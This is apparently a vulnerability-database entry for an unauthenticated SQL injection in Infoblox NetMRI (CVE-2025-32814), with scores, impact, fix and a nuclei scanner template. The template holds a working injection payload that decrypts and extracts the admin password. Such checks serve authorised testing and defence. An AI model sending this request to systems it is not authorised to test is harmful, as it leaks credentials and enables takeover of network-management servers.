HexBrain

Browse / CVEs / CVE-2025-32814

CVE-2025-32814· infoblox / netmri· CWE-89

NetMRI Unauthenticated SQL Injection via skipjackUsername

criticalseverity
9.8CVSS score
37.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.

Impact

Unauthenticated attackers can extract sensitive data including encrypted passwords through SQL injection in the skipjackUsername parameter, potentially leading to complete system compromise.

Fix

Upgrade to Infoblox NetMRI version 7.6.1 or later that properly sanitizes SQL input parameters.

How to confirm it

Send: GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack…
Positive when: contains "XPATH syntax error:"

Run it with nuclei: nuclei -id CVE-2025-32814 -u <target>

The full check
id: CVE-2025-32814

info:
  name: NetMRI Unauthenticated SQL Injection via skipjackUsername
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.
  impact: |
    Unauthenticated attackers can extract sensitive data including encrypted passwords through SQL injection in the skipjackUsername parameter, potentially leading to complete system compromise.
  remediation: |
    Upgrade to Infoblox NetMRI version 7.6.1 or later that properly sanitizes SQL input parameters.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32814
    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-32814
    cwe-id: CWE-89
    epss-score: 0.37387
    epss-percentile: 0.98541
    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: infoblox
    product: netmri
    fofa-query: icon_hash="-319724102"
  tags: cve,cve2025,sqli,unauth,netmri,rails,error-based,vkev,vuln

http:
  - raw:
      - |
        GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName=%22admin%22),%22password%22,1),CHAR(126)),null)--%22&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN HTTP/1.1
        Host: {{Hostname}}


    extractors:
      - type: regex
        part: body
        name: password
        group: 1
        regex:
          - "XPATH syntax error: '~(.*?)~'"
        internal: true

      - type: dsl
        dsl:
          - "'Password: ' + password"

    matchers:
      - type: word
        part: body
        words:
          - 'XPATH syntax error:'

References

Use this check only on systems you are authorised to test. Where the data comes from